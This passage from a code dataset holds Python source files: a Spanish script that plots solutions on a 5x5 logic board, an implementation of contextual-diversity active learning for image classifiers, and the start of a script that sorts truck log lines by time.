en el rectangulo\n tangulos.append(patches.Rectangle(*[(0, step + locacion), 1, 0.005], facecolor='black'))\n # Crea linea vertical en el rectangulo\n tangulos.append(patches.Rectangle(*[(step + locacion, 0), 0.005, 1], facecolor='black'))\n\n for t in tangulos:\n axes.add_patch(t)\n\n # Creando las direcciones de los numeros de acuerdo al literal\n direcciones = {}\n direcciones[1] = [0.1, 0.9] # A\n direcciones[2] = [0.3, 0.9] # B\n direcciones[3] = [0.5, 0.9] # C\n direcciones[4] = [0.7, 0.9] # D\n direcciones[5] = [0.9, 0.9] # E\n direcciones[6] = [0.1, 0.7] # F\n direcciones[7] = [0.3, 0.7] # G\n direcciones[8] = [0.5, 0.7] # H\n direcciones[9] = [0.7, 0.7] # I\n direcciones[10] = [0.9, 0.7] # J\n direcciones[11] = [0.1, 0.5] # K\n direcciones[12] = [0.3, 0.5] # L\n direcciones[13] = [0.5, 0.5] # M\n direcciones[14] = [0.7, 0.5] # N\n direcciones[15] = [0.9, 0.5] # P\n direcciones[16] = [0.1, 0.3] # Q\n direcciones[17] = [0.3, 0.3] # R\n direcciones[18] = [0.5, 0.3] # S\n direcciones[19] = [0.7, 0.3] # T\n direcciones[20] = [0.9, 0.3] # U\n direcciones[21] = [0.1, 0.1] # V\n direcciones[22] = [0.3, 0.1] # W\n direcciones[23] = [0.5, 0.1] # X\n direcciones[24] = [0.7, 0.1] # Ñ\n direcciones[25] = [0.9, 0.1] # Z\n\n # Asignar direccion a cada casilla del tablero\n aux = {}\n for i in range(1, 10):\n aux[\"A0\" + str(i)] = 1\n aux[\"B0\" + str(i)] = 2\n aux[\"C0\" + str(i)] = 3\n aux[\"D0\" + str(i)] = 4\n aux[\"E0\" + str(i)] = 5\n aux[\"F0\" + str(i)] = 6\n aux[\"G0\" + str(i)] = 7\n aux[\"H0\" + str(i)] = 8\n aux[\"I0\" + str(i)] = 9\n aux[\"J0\" + str(i)] = 10\n aux[\"K0\" + str(i)] = 11\n aux[\"L0\" + str(i)] = 12\n aux[\"M0\" + str(i)] = 13\n aux[\"N0\" + str(i)] = 14\n aux[\"P0\" + str(i)] = 15\n aux[\"Q0\" + str(i)] = 16\n aux[\"R0\" + str(i)] = 17\n aux[\"S0\" + str(i)] = 18\n aux[\"T0\" + str(i)] = 19\n aux[\"U0\" + str(i)] = 20\n aux[\"V0\" + str(i)] = 21\n aux[\"W0\" + str(i)] = 22\n aux[\"X0\" + str(i)] = 23\n aux[\"Ñ0\" + str(i)] = 24\n aux[\"Z0\" + str(i)] = 25\n\n for i in range(10, 26):\n aux[\"A\" + str(i)] = 1\n aux[\"B\" + str(i)] = 2\n aux[\"C\" + str(i)] = 3\n aux[\"D\" + str(i)] = 4\n aux[\"E\" + str(i)] = 5\n aux[\"F\" + str(i)] = 6\n aux[\"G\" + str(i)] = 7\n aux[\"H\" + str(i)] = 8\n aux[\"I\" + str(i)] = 9\n aux[\"J\" + str(i)] = 10\n aux[\"K\" + str(i)] = 11\n aux[\"L\" + str(i)] = 12\n aux[\"M\" + str(i)] = 13\n aux[\"N\" + str(i)] = 14\n aux[\"P\" + str(i)] = 15\n aux[\"Q\" + str(i)] = 16\n aux[\"R\" + str(i)] = 17\n aux[\"S\" + str(i)] = 18\n aux[\"T\" + str(i)] = 19\n aux[\"U\" + str(i)] = 20\n aux[\"V\" + str(i)] = 21\n aux[\"W\" + str(i)] = 22\n aux[\"X\" + str(i)] = 23\n aux[\"Ñ\" + str(i)] = 24\n aux[\"Z\" + str(i)] = 25\n\n\n # Asignamos los numeros de la interpretacion al tablero\n for l in f:\n if f[l] == 1:\n # print(l, letras[l])\n # print(direcciones[aux[l]][0], direcciones[aux[l]][1])\n plt.text(direcciones[aux[l]][0], direcciones[aux[l]][1], letras[l],\n fontsize = 15, horizontalalignment = 'center',\n verticalalignment = 'center')\n\n # plt.show()\n\n # Salvamos la imagen del tablero con la respectiva interpretación\n fig.savefig(\"tablero_5x5_\" + str(n) + \".png\")\n\n\n\n###############################################################################\n# Bloque principal de instrucciones ###########################################\n\n# Creamos las interpretaciones\n\ninter1 = {}\nfor i in range(1, 10):\n inter1[\"A0\" + str(i)] = 0\n inter1[\"B0\" + str(i)] = 0\n inter1[\"C0\" + str(i)] = 0\n inter1[\"D0\" + str(i)] = 0\n inter1[\"E0\" + str(i)] = 0\n inter1[\"F0\" + str(i)] = 0\n inter1[\"G0\" + str(i)] = 0\n inter1[\"H0\" + str(i)] = 0\n inter1[\"I0\" + str(i)] = 0\n inter1[\"K0\" + str(i)] = 0\n inter1[\"J0\" + str(i)] = 0\n inter1[\"M0\" + str(i)] = 0\n inter1[\"L0\" + str(i)] = 0\n inter1[\"N0\" + str(i)] = 0\n inter1[\"P0\" + str(i)] = 0\n inter1[\"Q0\" + str(i)] = 0\n inter1[\"R0\" + str(i)] = 0\n inter1[\"S0\" + str(i)] = 0\n inter1[\"T0\" + str(i)] = 0\n inter1[\"U0\" + str(i)] = 0\n inter1[\"V0\" + str(i)] = 0\n inter1[\"W0\" + str(i)] = 0\n inter1[\"X0\" + str(i)] = 0\n inter1[\"Ñ0\" + str(i)] = 0\n inter1[\"Z0\" + str(i)] = 0\n\nfor i in range(10, 26):\n inter1[\"A\" + str(i)] = 0\n inter1[\"B\" + str(i)] = 0\n inter1[\"C\" + str(i)] = 0\n inter1[\"D\" + str(i)] = 0\n inter1[\"E\" + str(i)] = 0\n inter1[\"F\" + str(i)] = 0\n inter1[\"G\" + str(i)] = 0\n inter1[\"H\" + str(i)] = 0\n inter1[\"I\" + str(i)] = 0\n inter1[\"K\" + str(i)] = 0\n inter1[\"J\" + str(i)] = 0\n inter1[\"M\" + str(i)] = 0\n inter1[\"L\" + str(i)] = 0\n inter1[\"N\" + str(i)] = 0\n inter1[\"P\" + str(i)] = 0\n inter1[\"Q\" + str(i)] = 0\n inter1[\"R\" + str(i)] = 0\n inter1[\"S\" + str(i)] = 0\n inter1[\"T\" + str(i)] = 0\n inter1[\"U\" + str(i)] = 0\n inter1[\"V\" + str(i)] = 0\n inter1[\"W\" + str(i)] = 0\n inter1[\"X\" + str(i)] = 0\n inter1[\"Ñ\" + str(i)] = 0\n inter1[\"Z\" + str(i)] = 0\n\n# print(len(inter1))\n\n# Letras proposicionales con valor de verdad en 1\n\ninter1[\"A01\"] = 1\ninter1[\"B02\"] = 1\ninter1[\"C03\"] = 1\ninter1[\"D04\"] = 1\ninter1[\"E05\"] = 1\ninter1[\"F06\"] = 1\ninter1[\"G07\"] = 1\ninter1[\"H08\"] = 1\ninter1[\"I09\"] = 1\ninter1[\"J10\"] = 1\ninter1[\"K11\"] = 1\ninter1[\"L12\"] = 1\ninter1[\"M13\"] = 1\ninter1[\"N14\"] = 1\ninter1[\"P15\"] = 1\ninter1[\"Q16\"] = 1\ninter1[\"R17\"] = 1\ninter1[\"S18\"] = 1\ninter1[\"T19\"] = 1\ninter1[\"U20\"] = 1\ninter1[\"V21\"] = 1\ninter1[\"W22\"] = 1\ninter1[\"X23\"] = 1\ninter1[\"Ñ24\"] = 1\ninter1[\"Z25\"] = 1\n\n\n###############################################################################\n\ninter2 = {}\nfor i in range(1, 10):\n inter2[\"A0\" + str(i)] = 0\n inter2[\"B0\" + str(i)] = 0\n inter2[\"C0\" + str(i)] = 0\n inter2[\"D0\" + str(i)] = 0\n inter2[\"E0\" + str(i)] = 0\n inter2[\"F0\" + str(i)] = 0\n inter2[\"G0\" + str(i)] = 0\n inter2[\"H0\" + str(i)] = 0\n inter2[\"I0\" + str(i)] = 0\n inter2[\"K0\" + str(i)] = 0\n inter2[\"J0\" + str(i)] = 0\n inter2[\"M0\" + str(i)] = 0\n inter2[\"L0\" + str(i)] = 0\n inter2[\"N0\" + str(i)] = 0\n inter2[\"P0\" + str(i)] = 0\n inter2[\"Q0\" + str(i)] = 0\n inter2[\"R0\" + str(i)] = 0\n inter2[\"S0\" + str(i)] = 0\n inter2[\"T0\" + str(i)] = 0\n inter2[\"U0\" + str(i)] = 0\n inter2[\"V0\" + str(i)] = 0\n inter2[\"W0\" + str(i)] = 0\n inter2[\"X0\" + str(i)] = 0\n inter2[\"Ñ0\" + str(i)] = 0\n inter2[\"Z0\" + str(i)] = 0\n\nfor i in range(10, 26):\n inter2[\"A\" + str(i)] = 0\n inter2[\"B\" + str(i)] = 0\n inter2[\"C\" + str(i)] = 0\n inter2[\"D\" + str(i)] = 0\n inter2[\"E\" + str(i)] = 0\n inter2[\"F\" + str(i)] = 0\n inter2[\"G\" + str(i)] = 0\n inter2[\"H\" + str(i)] = 0\n inter2[\"I\" + str(i)] = 0\n inter2[\"K\" + str(i)] = 0\n inter2[\"J\" + str(i)] = 0\n inter2[\"M\" + str(i)] = 0\n inter2[\"L\" + str(i)] = 0\n inter2[\"N\" + str(i)] = 0\n inter2[\"P\" + str(i)] = 0\n inter2[\"Q\" + str(i)] = 0\n inter2[\"R\" + str(i)] = 0\n inter2[\"S\" + str(i)] = 0\n inter2[\"T\" + str(i)] = 0\n inter2[\"U\" + str(i)] = 0\n inter2[\"V\" + str(i)] = 0\n inter2[\"W\" + str(i)] = 0\n inter2[\"X\" + str(i)] = 0\n inter2[\"Ñ\" + str(i)] = 0\n inter2[\"Z\" + str(i)] = 0\n\n# print(len(inter2))\n\n# Letras proposicionales con valor de verdad en 1\n\ninter2[\"A01\"] = 1\ninter2[\"B24\"] = 1\ninter2[\"C13\"] = 1\ninter2[\"D18\"] = 1\ninter2[\"E07\"] = 1\ninter2[\"F14\"] = 1\ninter2[\"G19\"] = 1\ninter2[\"H08\"] = 1\ninter2[\"I23\"] = 1\ninter2[\"J12\"] = 1\ninter2[\"K09\"] = 1\ninter2[\"L02\"] = 1\ninter2[\"M25\"] = 1\ninter2[\"N06\"] = 1\ninter2[\"P17\"] = 1\ninter2[\"Q20\"] = 1\ninter2[\"R15\"] = 1\ninter2[\"S04\"] = 1\ninter2[\"T11\"] = 1\ninter2[\"U22\"] = 1\ninter2[\"V03\"] = 1\ninter2[\"W10\"] = 1\ninter2[\"X21\"] = 1\ninter2[\"Ñ16\"] = 1\ninter2[\"Z05\"] = 1\n\n\n###############################################################################\n\n# Asignamos los posibles numeros del tablero a las letras proposicionales\n\nasig = {}\nfor i in range(1, 10):\n asig[\"A0\" + str(i)] = i\n asig[\"B0\" + str(i)] = i\n asig[\"C0\" + str(i)] = i\n asig[\"D0\" + str(i)] = i\n asig[\"E0\" + str(i)] = i\n asig[\"F0\" + str(i)] = i\n asig[\"G0\" + str(i)] = i\n asig[\"H0\" + str(i)] = i\n asig[\"I0\" + str(i)] = i\n asig[\"K0\" + str(i)] = i\n asig[\"J0\" + str(i)] = i\n asig[\"M0\" + str(i)] = i\n asig[\"L0\" + str(i)] = i\n asig[\"N0\" + str(i)] = i\n asig[\"P0\" + str(i)] = i\n asig[\"Q0\" + str(i)] = i\n asig[\"R0\" + str(i)] = i\n asig[\"S0\" + str(i)] = i\n asig[\"T0\" + str(i)] = i\n asig[\"U0\" + str(i)] = i\n asig[\"V0\" + str(i)] = i\n asig[\"W0\" + str(i)] = i\n asig[\"X0\" + str(i)] = i\n asig[\"Ñ0\" + str(i)] = i\n asig[\"Z0\" + str(i)] = i\n\nfor i in range(10, 26):\n asig[\"A\" + str(i)] = i\n asig[\"B\" + str(i)] = i\n asig[\"C\" + str(i)] = i\n asig[\"D\" + str(i)] = i\n asig[\"E\" + str(i)] = i\n asig[\"F\" + str(i)] = i\n asig[\"G\" + str(i)] = i\n asig[\"H\" + str(i)] = i\n asig[\"I\" + str(i)] = i\n asig[\"K\" + str(i)] = i\n asig[\"J\" + str(i)] = i\n asig[\"M\" + str(i)] = i\n asig[\"L\" + str(i)] = i\n asig[\"N\" + str(i)] = i\n asig[\"P\" + str(i)] = i\n asig[\"Q\" + str(i)] = i\n asig[\"R\" + str(i)] = i\n asig[\"S\" + str(i)] = i\n asig[\"T\" + str(i)] = i\n asig[\"U\" + str(i)] = i\n asig[\"V\" + str(i)] = i\n asig[\"W\" + str(i)] = i\n asig[\"X\" + str(i)] = i\n asig[\"Ñ\" + str(i)] = i\n asig[\"Z\" + str(i)] = i\n\n\n###############################################################################\n\n# Invocamos las funciones con las interpretaciones\n\ndibujar_tablero(inter1, asig, 1)\ndibujar_tablero(inter2, asig, 2)\n","sub_path":"Tablero5x5/rep_soluciones_tablero_5x5.py","file_name":"rep_soluciones_tablero_5x5.py","file_ext":"py","file_size_in_byte":13061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"111307587","text":"# -----------------------------------------------------------\n# Implementation of Contextual Diversity\n# from\n# Sharat Agarwal, Himanshu Arora, Saket Anand, Chetan Arora:\n# Contextual Diversity for Active Learning. CoRR abs/2008.05723 (2020)\n# -----------------------------------------------------------\n\nimport sys\nimport numpy as np\nfrom random import sample\nfrom scipy.stats import entropy\nfrom scipy.special import binom\nfrom tensorflow.keras.models import load_model\n\n##test out Contextual Diversity:\nimport pandas as pd\nfrom .TransferLearning import fetch_data, fine_tune, retrain, concate#, savemodel, loadmodel\nfrom .Testing import tester\n\ndef w(P_r):\n '''\n w_r Shannon entropy in paper\n not needed since (1) in paper is not needed\n '''\n\n #P_r = P_rr + epsilon\n epsilon = 0.001\n P_r[P_r <= 0] = epsilon\n\n shannon_entropy = -np.sum(P_r*np.log2(P_r))\n return(shannon_entropy)\n\ndef P_c(yunseen_pred,label):\n '''\n P_i^c in paper\n\n for a single prediction vector this will just output the prediction vector itself\n '''\n\n position = np.where(np.argmax(yunseen_pred,axis=1) == label,True,False)\n\n predictions_with_predicted_label = yunseen_pred[position]\n number_predictions_with_predicted_label = predictions_with_predicted_label.shape[0]\n if number_predictions_with_predicted_label == 0:\n return('label was not predicted')\n counter = np.zeros(10)\n denominator = 0\n\n for prediction_vector in predictions_with_predicted_label:\n counter += w(prediction_vector)*prediction_vector\n denominator += w(prediction_vector)\n #print(w(prediction_vector))\n #print(counter)\n #print(denominator)\n return(1/(number_predictions_with_predicted_label)*counter/denominator)\n\n\ndef diversity_pairwise(yunseen_pred1,yunseen_pred2):\n '''\n d_[I_1,I_2] in paper\n\n '''\n epsilon = 0.01\n if np.argmax(yunseen_pred1) == np.argmax(yunseen_pred2):# or True:\n P_c_1 = P_c(np.array([yunseen_pred1]), np.argmax(yunseen_pred1))\n P_c_2 = P_c(np.array([yunseen_pred2]), np.argmax(yunseen_pred1))\n #P_c_1 = yunseen_pred1\n #P_c_2 = yunseen_pred2\n \n P_c_1[P_c_1 <= 0] = epsilon\n P_c_2[P_c_2 <= 0] = epsilon\n pairwise_diversity = 0.5*entropy(P_c_1,P_c_2)+0.5*entropy(P_c_2,P_c_1)\n #if pairwise_diversity == float(\"inf\"):\n #print(P_c_1,P_c_2)\n return(pairwise_diversity)\n else:\n return(0)\n\ndef diversity(yunseen_pred):\n aggregate_diversity = 0\n for yunssen_vec1 in yunseen_pred:\n for yunssen_vec2 in yunseen_pred:\n aggregate_diversity += diversity_pairwise(yunssen_vec1,yunssen_vec2)\n\n return(aggregate_diversity)\n\n\n\n\ndef diversity_metric_method(X,y,number_samples,model):\n '''\n gives back the samples, which predictions are most far away (with respect to cd) in prediction space\n '''\n if np.shape(X)[0] <= number_samples:\n X_empty = np.empty([0, np.shape(X)[1], np.shape(X)[2], np.shape(X)[3]])\n y_empty = np.empty([0, np.shape(y)[1]])\n return(X,y,X_empty,y_empty)\n if type(model) == str:\n model = load_model(model)\n Ypred = model.predict(X)\n\n distance_list = []\n for row, ypred_a in enumerate(Ypred):\n for column, ypred_b in enumerate(Ypred[row+1:]):\n current_distance = diversity_pairwise(ypred_a,ypred_b)\n distance_list.append((current_distance,(row,column + row + 1)))\n\n\n\n score_array = np.empty([np.shape(y)[0],2])\n for idx, _ in enumerate(score_array):\n # sum up the distances for each av\n accumulated_distance = sum(\n [triple[0] for triple in distance_list if (triple[1][0] == idx or triple[1][1] == idx)])\n score_array[idx,0],score_array[idx,1] = int(idx), accumulated_distance\n\n\n\n distance_list = sorted(score_array, key =lambda x: x[1], reverse=True)\n\n #get the indices coresponding to the distances in the right order\n #index_list = [index[1][i] for index in distance_list for i in range(0,2)]\n #shorten the list to desired length without duplicates\n #n_farest = []\n #i = 0\n #while len(n_farest)+1 <= number_samples:\n # if index_list[i] not in n_farest:\n # n_farest = n_farest + [index_list[i]]\n # i += 1\n #seperate unseen data in winner and looser data set by the indices\n distance_list = np.asarray(distance_list, dtype=int)\n\n n_farest = distance_list[:number_samples,0]\n\n Xwinner = X[n_farest, :, :]\n ywinner = y[n_farest]\n\n mask = np.ones(X.shape[0], dtype=bool)\n mask[n_farest] = False\n Xloser = X[mask, :, :]\n yloser = y[mask]\n del n_farest,distance_list,score_array\n return(Xwinner, ywinner, Xloser, yloser)\n\n\ndef diversity_metric_opti_method(X,y,number_samples,model):\n '''\n gives back the samples, which predictions are most far away (with respect to cd) in prediction space\n '''\n if np.shape(X)[0] <= number_samples:\n X_empty = np.empty([0, np.shape(X)[1], np.shape(X)[2], np.shape(X)[3]])\n y_empty = np.empty([0, np.shape(y)[1]])\n return(X,y,X_empty,y_empty)\n if type(model) == str:\n model = load_model(model)\n Ypred = model.predict(X)\n\n score_array = np.zeros([np.shape(y)[0], 2])\n for idx in range(np.shape(y)[0]):\n score_array[idx,0] = int(idx)\n print(score_array)\n print(np.shape(score_array))\n for row, ypred_a in enumerate(Ypred):\n for column, ypred_b in enumerate(Ypred[row + 1:]):\n current_distance = diversity_pairwise(ypred_a,ypred_b)\n score_array[row, 1] += current_distance\n score_array[column + row + 1, 1] += current_distance\n # distance_list.append((current_distance, (row, column + row + 1)))\n print(row / np.shape(Ypred)[0])\n print(score_array)\n\n distance_list = sorted(score_array, key =lambda x: x[1], reverse=True)\n\n #get the indices coresponding to the distances in the right order\n #index_list = [index[1][i] for index in distance_list for i in range(0,2)]\n #shorten the list to desired length without duplicates\n #n_farest = []\n #i = 0\n #while len(n_farest)+1 <= number_samples:\n # if index_list[i] not in n_farest:\n # n_farest = n_farest + [index_list[i]]\n # i += 1\n #seperate unseen data in winner and looser data set by the indices\n distance_list = np.asarray(distance_list, dtype=int)\n\n n_farest = distance_list[:number_samples,0]\n\n Xwinner = X[n_farest, :, :]\n ywinner = y[n_farest]\n\n mask = np.ones(X.shape[0], dtype=bool)\n mask[n_farest] = False\n Xloser = X[mask, :, :]\n yloser = y[mask]\n del n_farest,distance_list,score_array\n return(Xwinner, ywinner, Xloser, yloser)\n\n\ndef random_contextual_diversity_method(X,y,number_samples,model):\n if np.shape(X)[0] <= number_samples:\n X_empty = np.empty([0, np.shape(X)[1], np.shape(X)[2], np.shape(X)[3]])\n y_empty = np.empty([0, np.shape(y)[1]])\n return(X,y,X_empty,y_empty)\n\n number_trials = 20\n if type(model) == str:\n model = load_model(model)\n ypred = model.predict(X)\n ypred = y\n pool_size = np.shape(ypred)[0]\n idx_old = np.random.randint(pool_size, size=number_samples)\n ypred_old = ypred[idx_old]\n diversity_old = diversity(ypred_old)\n print(diversity_old)\n for trial in range(number_trials):\n print('trail: '+str(trial))\n idx_new = np.random.randint(pool_size, size=number_samples)\n ypred_new = ypred[idx_new]\n diversity_new = diversity(ypred_new)\n if diversity_new > diversity_old and diversity_new != float(\"inf\"):\n diversity_old = diversity_new\n idx_old = idx_new\n print(diversity_old)\n\n # seperate unseen data in winner and looser data set by the indices\n Xwinner = X[idx_old, :, :]\n ywinner = y[idx_old]\n\n mask = np.ones(X.shape[0], dtype=bool)\n mask[idx_old] = False\n Xloser = X[mask, :, :]\n yloser = y[mask]\n\n return(Xwinner, ywinner, Xloser, yloser)\n\n\ndef genetic_contextual_diversity_method(X,y,number_samples,model):\n #if np.shape(X)[0] <= number_samples:\n # X_empty = np.empty([0, np.shape(X)[1], np.shape(X)[2], np.shape(X)[3]])\n # y_empty = np.empty([0, np.shape(y)[1]])\n # return(X,y,X_empty,y_empty)\n\n #if type(model) == str:\n # model = load_model(model)\n #ypred = model.predict(X)\n\n ypred = y\n pool_size = np.shape(ypred)[0]\n\n pop_size = 10\n number_parents = 2\n number_rounds = 20\n\n idx_table = np.random.randint(pool_size, size=(pop_size,number_samples))\n #print(idx_table)\n fitness_list = [diversity(ypred[idx_table[idx]]) for idx in range(pop_size)]\n fitness_probability = fitness_list/sum(fitness_list)\n print(fitness_list)\n parents_table_idx = np.random.choice(range(pop_size),number_parents,replace=False,p=fitness_probability)\n mated_idx = set(list(idx_table[parents_table_idx[0]]) +list(idx_table[parents_table_idx[1]]))\n\n #mated_idx = np.unique(np.concatenate(idx_table[parents_table_idx[0]],idx_table[parents_table_idx[1]]))\n offspring_idx = sample(mated_idx,number_samples)\n max_fitness_old = np.max(fitness_list)\n winner_idx_old = idx_table[np.argmax(fitness_list)]\n\n print(max_fitness_old)\n\n for round in range(number_rounds):\n print(round)\n idx_table = np.random.randint(pool_size, size=(pop_size, number_samples))\n idx_table[0] = offspring_idx\n #print(idx_table)\n fitness_list = [diversity(ypred[idx_table[idx]]) for idx in range(pop_size)]\n print(fitness_list)\n if np.argmax(fitness_list) == 0:\n print('offspring is the fittest')\n\n fitness_probability = fitness_list / sum(fitness_list)\n parents_table_idx = np.random.choice(range(pop_size), number_parents, replace=False, p=fitness_probability)\n mated_idx = set(list(idx_table[parents_table_idx[0]]) + list(idx_table[parents_table_idx[1]]))\n offspring_idx = sample(mated_idx, number_samples)\n max_fitness_new = np.max(fitness_list)\n winner_idx_new = idx_table[np.argmax(fitness_list)]\n #if abs(max_fitness_old - max_fitness_new) < 10:\n # break\n if max_fitness_new > max_fitness_old:\n print('found new one')\n\n max_fitness_old = max_fitness_new\n winner_idx_old = winner_idx_new\n print(max_fitness_old)\n\n #winner_idx_old = np.array(win)\n # seperate unseen data in winner and looser data set by the indices\n Xwinner = X[winner_idx_old, :, :]\n ywinner = y[winner_idx_old]\n\n mask = np.ones(X.shape[0], dtype=bool)\n mask[winner_idx_old] = False\n Xloser = X[mask, :, :]\n yloser = y[mask]\n\n return(Xwinner, ywinner, Xloser, yloser)\n\n\ndef bob_contextual_diversity_method(X,y,number_samples,model):\n #if np.shape(X)[0] <= number_samples:\n # X_empty = np.empty([0, np.shape(X)[1], np.shape(X)[2], np.shape(X)[3]])\n # y_empty = np.empty([0, np.shape(y)[1]])\n # return(X,y,X_empty,y_empty)\n\n #if type(model) == str:\n # model = load_model(model)\n #ypred = model.predict(X)\n\n #diversity_pairwise()\n\n ypred = y\n pool_size = np.shape(ypred)[0]\n indx_list = list(range(pool_size))\n indx_list_winner = list(sample(indx_list, 1))\n done = False\n while len(indx_list_winner) < number_samples:\n indx_list_winner_new = [indx_list_winner[-1]]\n for step in range(18):\n print('step: ',step)\n #preloop\n diversity_old = 0\n for indx_winner in indx_list_winner_new:\n winner_idx = indx_list[0]\n diversity_old += diversity_pairwise(y[winner_idx], y[indx_winner])\n for indx in indx_list[1:]:\n diversity_new = 0\n for indx_winner in indx_list_winner_new:\n diversity_new += diversity_pairwise(y[indx],y[indx_winner])\n if diversity_new > diversity_old:\n winner_idx = indx\n diversity_old = diversity_new\n indx_list_winner_new = indx_list_winner_new + [winner_idx]\n indx_list.remove(winner_idx)\n if len(indx_list_winner_new) + len(indx_list_winner) == number_samples:\n indx_list_winner = indx_list_winner + indx_list_winner_new\n done = True\n break\n if done == True:\n break\n indx_list_winner = indx_list_winner + indx_list_winner_new\n print('finaly len: ',len(indx_list_winner))\n print(diversity(y[indx_list_winner]))\n # seperate unseen data in winner and looser data set by the indices\n\n #Xwinner = X[winner_idx, :, :]\n #ywinner = y[winner_idx]\n\n #mask = np.ones(X.shape[0], dtype=bool)\n #mask[winner_idx] = False\n #Xloser = X[mask, :, :]\n #yloser = y[mask]\n\n #return(Xwinner, ywinner, Xloser, yloser)\n\n\n\n##test out Contextual Diversity:\n###############\n\n\ndef random_contextual_diversity_method_numberoption(X,y,number_samples,model, number_trials):\n if np.shape(X)[0] <= number_samples:\n X_empty = np.empty([0, np.shape(X)[1], np.shape(X)[2], np.shape(X)[3]])\n y_empty = np.empty([0, np.shape(y)[1]])\n return(X,y,X_empty,y_empty)\n\n if type(model) == str:\n print('start loading model')\n model = load_model('./DocumentClassification/'+model)\n print('finished loading model')\n ypred = model.predict(X)\n pool_size = np.shape(ypred)[0]\n idx_old = np.random.randint(pool_size, size=number_samples)\n ypred_old = ypred[idx_old]\n diversity_old = diversity(ypred_old)\n print(diversity_old)\n for trial in range(number_trials):\n print('trail: '+str(trial))\n idx_new = np.random.randint(pool_size, size=number_samples)\n ypred_new = ypred[idx_new]\n diversity_new = diversity(ypred_new)\n if diversity_new > diversity_old and diversity_new != float(\"inf\"):\n diversity_old = diversity_new\n idx_old = idx_new\n print(diversity_old)\n\n # seperate unseen data in winner and looser data set by the indices\n Xwinner = X[idx_old, :, :]\n ywinner = y[idx_old]\n\n mask = np.ones(X.shape[0], dtype=bool)\n mask[idx_old] = False\n Xloser = X[mask, :, :]\n yloser = y[mask]\n\n return(Xwinner, ywinner, Xloser, yloser, diversity_old)\n\ndef bob_contextual_diversity_method_setoption_method(X,y,number_samples,model,setsize):\n\n if np.shape(X)[0] <= number_samples:\n X_empty = np.empty([0, np.shape(X)[1], np.shape(X)[2], np.shape(X)[3]])\n y_empty = np.empty([0, np.shape(y)[1]])\n return(X,y,X_empty,y_empty)\n\n if type(model) == str:\n model = load_model(model)\n\n ypred = model.predict(X)\n #ypred = y\n pool_size = np.shape(ypred)[0]\n indx_list = list(range(pool_size))\n indx_list_winner = list(sample(indx_list, 1))\n indx_list.remove(indx_list_winner[0])\n done = False\n while len(indx_list_winner) < number_samples:\n indx_list_winner_new = [indx_list_winner[-1]]\n for step in range(setsize):\n print('step: ',step)\n diversity_old = 0\n for indx in indx_list:\n diversity_new = 0\n for indx_winner in indx_list_winner_new:\n diversity_new += diversity_pairwise(ypred[indx],ypred[indx_winner])\n if diversity_new > diversity_old:\n winner_idx = indx\n diversity_old = diversity_new\n\n # print(diversity_old)\n indx_list_winner_new = indx_list_winner_new + [winner_idx]\n indx_list = list(set(indx_list)-set(indx_list_winner_new))\n\n # print('len(indx_list): ',len(indx_list))\n # print('len(indx_list_winner_new): ',len(indx_list_winner_new))\n\n\n\n if len(indx_list_winner_new) + len(indx_list_winner) == number_samples+1:\n indx_list_winner = indx_list_winner + indx_list_winner_new[1:]\n done = True\n break\n if done == True:\n break\n indx_list_winner = indx_list_winner + indx_list_winner_new[1:]\n #print('len(indx_list_winner): ', len(indx_list_winner))\n\n print('orig len: ',len(indx_list_winner))#todo apperantly they are not unique!\n indx_list_winner = np.unique(indx_list_winner)\n print('after uniq len: ', len(indx_list_winner))\n indx_list_winner = indx_list_winner[:number_samples]\n print('final len: ', len(indx_list_winner))\n diversity_fin = diversity(ypred[indx_list_winner])\n # seperate unseen data in winner and looser data set by the indices\n print(diversity_fin)\n #print(indx_list_winner)\n Xwinner = X[indx_list_winner, :, :]\n ywinner = y[indx_list_winner]\n\n mask = np.ones(X.shape[0], dtype=bool)\n mask[indx_list_winner] = False\n Xloser = X[mask, :, :]\n yloser = y[mask]\n #print(Xwinner.shape,ywinner.shape,Xloser.shape,yloser.shape)\n return(Xwinner, ywinner, Xloser, yloser, diversity_fin)\n\n\ndef experiment_CD(model_base_str, epochs_retrain, retrain_size, mini_batch_size, setsize_list):\n '''\n '''\n\n if type(model_base_str) != str:\n exit('please provide name of model as string')\n\n Xtest, ytest = fetch_data('test')\n Xtrain, ytrain = fetch_data('train')\n print('right data fetched')\n\n #base_performance = round(tester(Xtest, ytest, model_base_str)[0], 2)\n df = pd.DataFrame(columns=['CD score','accuracy'])\n\n Xunseen_orig, yunseen_orig = fetch_data('unseen')\n\n # shuffle the unseen data\n rng_state = np.random.get_state()\n np.random.shuffle(Xunseen_orig)\n np.random.set_state(rng_state)\n np.random.shuffle(yunseen_orig)\n\n # Xunseen_orig, yunseen_orig = Xunseen_orig[:200], yunseen_orig[:200]\n\n for idx, set_size in enumerate(setsize_list):\n Xwinner, ywinner, _, _, diversity = bob_contextual_diversity_method_setoption(Xunseen_orig, yunseen_orig,retrain_size,model_base_str,set_size)\n\n # new trainings batch consists of old training samples plus the new unseen ones\n # Xtrain_new = np.concatenate((Xtrain, Xwinner), axis=0)\n # ytrain_new = np.concatenate((ytrain, ywinner),axis=0)\n print(Xtrain.shape,Xwinner.shape,ytrain.shape,ywinner.shape)\n Xtrain_new = concate(Xtrain, Xwinner)\n ytrain_new = concate(ytrain, ywinner)\n\n print('training data concatenated')\n\n model_base = load_model(model_base_str)\n print('model loaded')\n model_new = retrain(model_base, epochs_retrain, mini_batch_size, Xtrain_new, ytrain_new)[0]\n accuracy = tester(Xtest, ytest, model_new)[0]\n\n df.at[idx, 'CD score'] = diversity\n df.at[idx, 'accuracy'] = accuracy\n print(df)\n\n del model_new, model_base\n\n df.to_csv('RESULTS.csv', index=False)\n print(df)\n return (df)\n\n","sub_path":"ContextualDiversity.py","file_name":"ContextualDiversity.py","file_ext":"py","file_size_in_byte":18779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"339700714","text":"import os\nfrom datetime import *\nimport time\nimport glob\nos.chdir(\"/media/rishi/LocalDisk/inout/Truck_Files\")\nfor file in glob.glob(\"*.txt\"): \n\tq=open(file,'r')\n\ta=[]\n\tfor line in q:\n\t\ttemp=line.split(' ')\n\t\ts=temp[3]+' '+temp[4]\n\t\tdt=datetime.strptime(s,\"%Y-%m-%d %H:%M:%S\")\n\t\tx=time.mktime(dt.timetuple())\n\t\ta.append([x,line])\n\ta=sorted(a,key=lambda x:x[0])\n\tout=open(\"/media/rishi/LocalDisk/inout/Truck_Files1/\"+file,'w')\n\tfor i in 